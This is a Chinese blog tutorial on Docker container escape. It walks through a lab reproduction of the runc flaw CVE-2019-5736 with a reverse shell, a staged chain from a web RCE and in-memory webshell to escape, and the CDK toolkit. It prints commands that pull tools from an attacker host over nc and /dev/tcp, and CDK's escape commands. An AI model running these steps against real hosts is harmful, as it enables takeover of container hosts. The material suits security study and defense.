当前位置: 首页 > news >正文

【云安全】云原生-Docker(五)容器逃逸之漏洞利用

漏洞利用逃逸

通过漏洞利用实现逃逸,主要分为以下两种方式:

1、操作系统层面的内核漏洞

这是利用宿主机操作系统内核中的安全漏洞,直接突破容器的隔离机制,获得宿主机的权限。

攻击原理:容器本质上是通过 Linux 的 cgroups 和 namespace 提供隔离,而这些功能依赖于内核。因此,内核漏洞可能被用来突破隔离,攻击者可以直接访问宿主机。

常用漏洞:

  • Dirty COW (CVE-2016-5195):Linux 内核的写时复制 (Copy-On-Write) 漏洞,攻击者可以通过漏洞实现提权,影响宿主机。
  • OverlayFS 漏洞 (如 CVE-2021-3493):OverlayFS 文件系统中的权限校验漏洞,允许容器突破文件系统限制访问宿主机。
  • 权限提升漏洞 (如 CVE-2022-0847):又名“Dirty Pipe”,允许攻击者通过文件写入操作实现提权。
  • 其它:CVE-2019-16884、CVE-2021-22555、CVE-2022-0492、CVE-2022-23222等

系统内核漏洞并非 Docker 容器逃逸的“专属”利用方式,而是通用的一种权限提升技术。在 Web 安全或本地提权攻击场景中,内核漏洞同样可以被用来获取更高的系统权限。本章节属于云安全Docker内容,因此,内核漏洞的利用本文不做具体讨论。

2、Docker自身版本漏洞

Docker 本身作为容器管理工具,可能存在漏洞或实现上的不足,攻击者可以通过漏洞逃逸出容器环境,直接控制宿主机。

常用漏洞:

CVE-2019-5736

攻击者通过覆盖容器内的 runc 二进制文件,可以执行任意代码并控制宿主机。

利用条件

(1)版本:Docker version <= 18.09.2,RunC version <= 1.0-rc6 

(2)需要管理员再次进入容器触发

漏洞复现

a.首先卸载原有docker

sudo apt-get purge -y docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin docker-ce-rootless-extras
sudo rm -rf /var/lib/docker
sudo rm -rf /var/lib/containerd
sudo rm /etc/apt/sources.list.d/docker.list
sudo rm /etc/apt/keyrings/docker.asc

b.安装漏洞对应版本

apt-get update
apt-get install -y apt-transport-https ca-certificates curl software-properties-common
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -
add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable"
apt-get update
apt-cache madison docker-ce
apt-get install docker-ce=18.06.1~ce~3-0~ubuntu

c.编译exp ,项目地址

https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go

下载EXP后修改

使用如下命令进行编译EXP

CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go

d.准备另一台主机进行监听,上传EXP到容器,执行

e. 模拟管理员进入容器,触发EXP执行,成功反弹shell,复现完毕

模拟实战

受害者搭建网站

攻击者发现存在 Spring Cloud Gateway 命令执行漏洞

发现是容器root权限

植入内存马,使用哥斯拉连接

使用哥斯拉的远程下载功能,下载EXP,并赋予执行权限

监听、执行→管理员进入容器→成功逃逸

CVE-2020-15257

该漏洞出现在 containerd 的 CRI plugin(容器运行时接口插件)中。攻击者可以通过创建特定配置的容器,将 cgroups(控制组)的 pids.max 参数设置为无效值。当 containerd 尝试写入这个值时,会导致内核返回错误。这可能使 containerd 的内部机制中断,从而允许攻击者进一步利用该错误实现权限提升。

利用条件

(1)版本:containerd < 1.4.3,containerd < 1.3.9(不含1.3.9 和 1.4.3

(2)容器权限为root,且以 --net=host 模式启动

模拟复现

a. 受害者安装的containerd版本为漏洞版本

apt-get update
apt-get install ca-certificates curl software-properties-common
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | apt-key add -
add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu xenial stable"
apt-get update
apt-cache madison docker-ce
apt-get install docker-ce=5:19.03.6~3-0~ubuntu-xenial docker-ce-cli=5:19.03.6~3-0~ubuntu-xenial containerd.io=1.2.4-1

b.受害者基于以上环境搭建的网站,存在struts2漏洞

c. 攻击者发现漏洞。执行命令,发现是容器环境,权限为容器root

d.攻击者反弹shell后,在受害者容器内下载CDK项目

e.后续利用,搜寻教程和资料说是可以借助自动化项目CDK进行容器逃逸。但是,不知道哪里出了问题,该漏洞我未能复现成功,猜测是各大云厂商做了安全优化,一路上各种报错,如果哪位大佬知道其中的缘由,还望告知!

自动化项目:CDK

项目链接:
GitHub - cdk-team/CDK: 📦 Make security testing of K8s, Docker, and Containerd easier.

CDK是一款为容器环境定制的渗透测试工具,在已攻陷的容器内部提供零依赖的常用命令及PoC/EXP。集成Docker/K8s场景特有的 逃逸、横向移动、持久化利用方式,插件化管理。 

下载/植入
  • 在目标容器内直接wget或者curl
  • 通过公网主机nc重定向
A主机:nc -lvp 999 < cdk
B主机:cat < /dev/tcp/A主机IP/999 > cdk

 

功能模块
  • Evaluate: 容器内部信息收集,以发现潜在的弱点便于后续利用。
  • Exploit: 提供容器逃逸、持久化、横向移动等利用方式。
  • Tool: 修复渗透过程中常用的linux命令以及与Docker/K8s API交互的命令。
使用测试

以特权模式启动一个容器

在容器中下载CDK

信息收集

./cdk eva

发现特权模式

特权模式利用

 ./cdk run mount-disk

使用自动逃逸也是没问题的

 ./cdk  auto-escape id

Ps:该项目还是很强大的,经测试,特权模式、危险挂载均可以检查并利用,师傅们可自行测试

结尾

至此,Docker安全问题分析结束,下一篇开始,讨论容器编排工具k8s的安全问题

相关文章:

【云安全】云原生-Docker(五)容器逃逸之漏洞利用

漏洞利用逃逸 通过漏洞利用实现逃逸&#xff0c;主要分为以下两种方式&#xff1a; 1、操作系统层面的内核漏洞 这是利用宿主机操作系统内核中的安全漏洞&#xff0c;直接突破容器的隔离机制&#xff0c;获得宿主机的权限。 攻击原理&#xff1a;容器本质上是通过 Linux 的…...

九、CSS工程化方案

一、PostCSS介绍 二、PostCSS插件的使用 项目安装 - npm install postcss-cli 全局安装 - npm install postcss-cli -g postcss-cli地址&#xff1a;GitHub - postcss/postcss-cli: CLI for postcss postcss地址&#xff1a;GitHub - postcss/postcss: Transforming styles…...

gradle创建springboot单项目和多模块项目

文章目录 gradle创建springboot项目gradle多模块项目创建 gradle创建springboot项目 适用IDEA很简单&#xff0c;如下图 gradle多模块项目创建 首选创建父项目&#xff0c;然后删除无用内容至下图 选择父项目目录&#xff0c;右键选择模块&#xff0c;创建子项目&#xff08…...

Vue实现div滚动,并且支持top动态滚动

如果你知道距离目标 div 顶部的像素值&#xff0c;并希望通过传入 top 参数来实现滚动到对应区域&#xff0c;可以使用 window.scrollTo 方法。 编写滚动方法 const scrollToDiv (targetDiv, top) > {if (targetDiv) {top top * targetDiv.value.scrollHeight / data.he…...

Elasticsearch 中,分片(Shards)数量上限?副本的数量?

概念 ElasticSearch高可用集群架构实战 分片数量1 在 Elasticsearch 中&#xff0c;分片&#xff08;Shards&#xff09;是数据存储和索引的基本单位。创建分片时需要考虑多个因素&#xff0c;包括集群的配置、硬件资源&#xff08;如磁盘空间、内存等&#xff09;以及性能要…...

Unity入门1

安装之后无法获得许可证&#xff0c;可以考虑重装 新建项目 单击空白处生成脚本 双击c#文件 会自动打开vstudio 检查引用 如果没有引用&#xff0c;重开vstu&#xff0c;或者重新加载项目 hierarchy层级 scenes场景 assets资产 inspector督察 icon图标 资源链接&…...

网络模型简介:OSI七层模型与TCP/IP模型

计算机网络是现代信息社会的基石&#xff0c;而网络通信的基础在于理解网络模型。网络模型是对通信过程的抽象&#xff0c;它帮助我们理解数据从源到目的地的传输过程。常见的网络模型有 OSI 七层模型 和 TCP/IP 模型&#xff0c;这两种模型在理论和实践中都起着重要作用。 一、…...

软件测试压力太大了怎么办?

本文其实是知乎上针对一个问题的回答&#xff1a; 目前在做软件测试&#xff0c;主要负责的是手机端的项目测试&#xff0c;项目迭代很快&#xff0c;每次上线前验正式都会发现一些之前验测试包时候没有发现的问题&#xff0c;压力太大了&#xff0c;应该怎么调整 看过我之前其…...

微信小程序-点餐(美食屋)02开发实践

目录 概要 整体架构流程 &#xff08;一&#xff09;用户注册与登录 &#xff08;二&#xff09;菜品浏览与点餐 &#xff08;三&#xff09;订单管理 &#xff08;四&#xff09;后台管理 部分代码展示 1.index.wxml 2.list.wxml 3.checkout.wxml 4.detail.wxml 小结优点 概要…...

转换算术表达式

文章目录 构造二叉树表示的算术表达式&#xff1a;按先序次序输入二叉树中结点的值(操作数及运算符均以一位字符表示&#xff0c;注意转换)&#xff0c; #字符表示空树&#xff0c;如上图的算术表达式 输入2##*3##4## 输入格式 第一行输入表示要计算的算术表达式的二叉树结点的…...

99.17 金融难点通俗解释:归母净利润

目录 0. 承前1. 简述2. 比喻&#xff1a;小明家的小卖部2.1 第一步&#xff1a;计算收到的所有钱2.2 第二步&#xff1a;减去各种支出2.3 第三步&#xff1a;计算能带回家的钱 3. 生活中的例子3.1 好的经营情况3.2 一般的经营情况3.3 不好的经营情况 4. 小朋友要注意4.1 为什么…...

【Flutter】旋转元素(Transform、RotatedBox )

这里写自定义目录标题 Transform旋转元素可以改变宽高约束的旋转 - RotatedBox Transform旋转元素 说明&#xff1a;Transform旋转操作改变了元素的方向&#xff0c;但并没有改变它的布局约束。因此&#xff0c;虽然视觉上元素看起来是旋转了&#xff0c;但它仍然遵循原始的宽…...

MYSQL学习笔记(六):聚合函数、sql语句执行原理简要分析

前言&#xff1a; 学习和使用数据库可以说是程序员必须具备能力&#xff0c;这里将更新关于MYSQL的使用讲解&#xff0c;大概应该会更新30篇&#xff0c;涵盖入门、进阶、高级(一些原理分析);这一篇是内容较少&#xff0c;主要讲解&#xff1a;聚合函数和简要介绍sql语句执行过…...

thinkphp6+swoole使用rabbitMq队列

安装think-swoole安装 composer require php-amqplib/php-amqplib,以支持rabbitMq使用安装rabbitMq延迟队列插件 安装 rabbitmq_delayed_message_exchange 插件&#xff0c;按照以下步骤操作&#xff1a; 下载插件&#xff1a;https://github.com/rabbitmq/rabbitmq-delayed-…...

大模型开发 | RAG在实际开发中可能遇到的坑

近年来&#xff0c;大语言模型 (LLM) 的飞速发展令人瞩目&#xff0c;它们在各个领域展现出强大的应用潜力。然而&#xff0c;LLM 也存在一些固有的局限性&#xff0c;例如知识更新滞后、信息编造 (幻觉) 等问题。为了克服这些挑战&#xff0c;检索增强生成 (Retrieval-Augment…...

mybatis是什么?有什么作用?mybatis的简单使用

mybatis是什么&#xff1f; MyBatis 是一个持久层框架。 有什么作用&#xff1f; 简化了对数据库数据的操作。 如何简化数据操作的&#xff1f; MyBatis 通过提供 SQL 映射、动态 SQL、结果映射、事务管理等功能&#xff0c;我们直接去用就可以了。 怎么使用&#xff1f;&…...

求平均年龄(信息学奥赛一本通-1059)

【题目描述】 班上有学生若干名&#xff0c;给出每名学生的年龄&#xff08;整数&#xff09;&#xff0c;求班上所有学生的平均年龄&#xff0c;保留到小数点后两位。 【输入】 第一行有一个整数n&#xff08;1≤n≤100&#xff09;&#xff0c;表示学生的人数。其后n行每行有…...

CY T 4 BB 5 CEB Q 1 A EE GS MCAL配置 - MCU组件

1、ResourceM 配置 选择芯片信号: 2、MCU 配置 2.1 General配置 1) McuDevErrorDetect: - 启用或禁用MCU驱动程序模块的开发错误通知功能。 - 注意:采用DET错误检测机制作为安全机制(故障检测)时,不能禁用开发错误检测。2) McuGetRamStateApi - enable/disable th…...

10 Hyperledger Fabric 介绍

简介 HypeLedger&#xff08;超级账本&#xff09;是由Linux基金会2015年创建的首个面向企业应用场景的开源分布式账本平台。 HypeLedger Fabric是HypeLedger种的区块链项目之一HypeLedger Fabric引入权限管理在架构设计上支持可插拔、可扩展是首个面向联盟链场景的开源项目 …...

Word 中实现方框内点击自动打 √ ☑

注&#xff1a; 本文为 “Word 中方框内点击打 √ ☑ / 打 ☒” 相关文章合辑。 对第一篇增加了打叉部分&#xff0c;第二篇为第一篇中方法 5 “控件” 实现的详解。 在 Word 方框内打 √ 的 6 种技巧 2020-03-09 12:38 使用 Word 制作一些调查表、检查表等&#xff0c;通常…...

谷歌浏览器插件

项目中有时候会用到插件 sync-cookie-extension1.0.0&#xff1a;开发环境同步测试 cookie 至 localhost&#xff0c;便于本地请求服务携带 cookie 参考地址&#xff1a;https://juejin.cn/post/7139354571712757767 里面有源码下载下来&#xff0c;加在到扩展即可使用FeHelp…...

linux之kylin系统nginx的安装

一、nginx的作用 1.可做高性能的web服务器 直接处理静态资源&#xff08;HTML/CSS/图片等&#xff09;&#xff0c;响应速度远超传统服务器类似apache支持高并发连接 2.反向代理服务器 隐藏后端服务器IP地址&#xff0c;提高安全性 3.负载均衡服务器 支持多种策略分发流量…...

关于iview组件中使用 table , 绑定序号分页后序号从1开始的解决方案

问题描述&#xff1a;iview使用table 中type: "index",分页之后 &#xff0c;索引还是从1开始&#xff0c;试过绑定后台返回数据的id, 这种方法可行&#xff0c;就是后台返回数据的每个页面id都不完全是按照从1开始的升序&#xff0c;因此百度了下&#xff0c;找到了…...

STM32F4基本定时器使用和原理详解

STM32F4基本定时器使用和原理详解 前言如何确定定时器挂载在哪条时钟线上配置及使用方法参数配置PrescalerCounter ModeCounter Periodauto-reload preloadTrigger Event Selection 中断配置生成的代码及使用方法初始化代码基本定时器触发DCA或者ADC的代码讲解中断代码定时启动…...

【OSG学习笔记】Day 16: 骨骼动画与蒙皮(osgAnimation)

骨骼动画基础 骨骼动画是 3D 计算机图形中常用的技术&#xff0c;它通过以下两个主要组件实现角色动画。 骨骼系统 (Skeleton)&#xff1a;由层级结构的骨头组成&#xff0c;类似于人体骨骼蒙皮 (Mesh Skinning)&#xff1a;将模型网格顶点绑定到骨骼上&#xff0c;使骨骼移动…...

OpenPrompt 和直接对提示词的嵌入向量进行训练有什么区别

OpenPrompt 和直接对提示词的嵌入向量进行训练有什么区别 直接训练提示词嵌入向量的核心区别 您提到的代码: prompt_embedding = initial_embedding.clone().requires_grad_(True) optimizer = torch.optim.Adam([prompt_embedding...

Unsafe Fileupload篇补充-木马的详细教程与木马分享(中国蚁剑方式)

在之前的皮卡丘靶场第九期Unsafe Fileupload篇中我们学习了木马的原理并且学了一个简单的木马文件 本期内容是为了更好的为大家解释木马&#xff08;服务器方面的&#xff09;的原理&#xff0c;连接&#xff0c;以及各种木马及连接工具的分享 文件木马&#xff1a;https://w…...

技术栈RabbitMq的介绍和使用

目录 1. 什么是消息队列&#xff1f;2. 消息队列的优点3. RabbitMQ 消息队列概述4. RabbitMQ 安装5. Exchange 四种类型5.1 direct 精准匹配5.2 fanout 广播5.3 topic 正则匹配 6. RabbitMQ 队列模式6.1 简单队列模式6.2 工作队列模式6.3 发布/订阅模式6.4 路由模式6.5 主题模式…...

SiFli 52把Imagie图片,Font字体资源放在指定位置,编译成指定img.bin和font.bin的问题

分区配置 (ptab.json) img 属性介绍&#xff1a; img 属性指定分区存放的 image 名称&#xff0c;指定的 image 名称必须是当前工程生成的 binary 。 如果 binary 有多个文件&#xff0c;则以 proj_name:binary_name 格式指定文件名&#xff0c; proj_name 为工程 名&…...

MinIO Docker 部署:仅开放一个端口

MinIO Docker 部署:仅开放一个端口 在实际的服务器部署中,出于安全和管理的考虑,我们可能只能开放一个端口。MinIO 是一个高性能的对象存储服务,支持 Docker 部署,但默认情况下它需要两个端口:一个是 API 端口(用于存储和访问数据),另一个是控制台端口(用于管理界面…...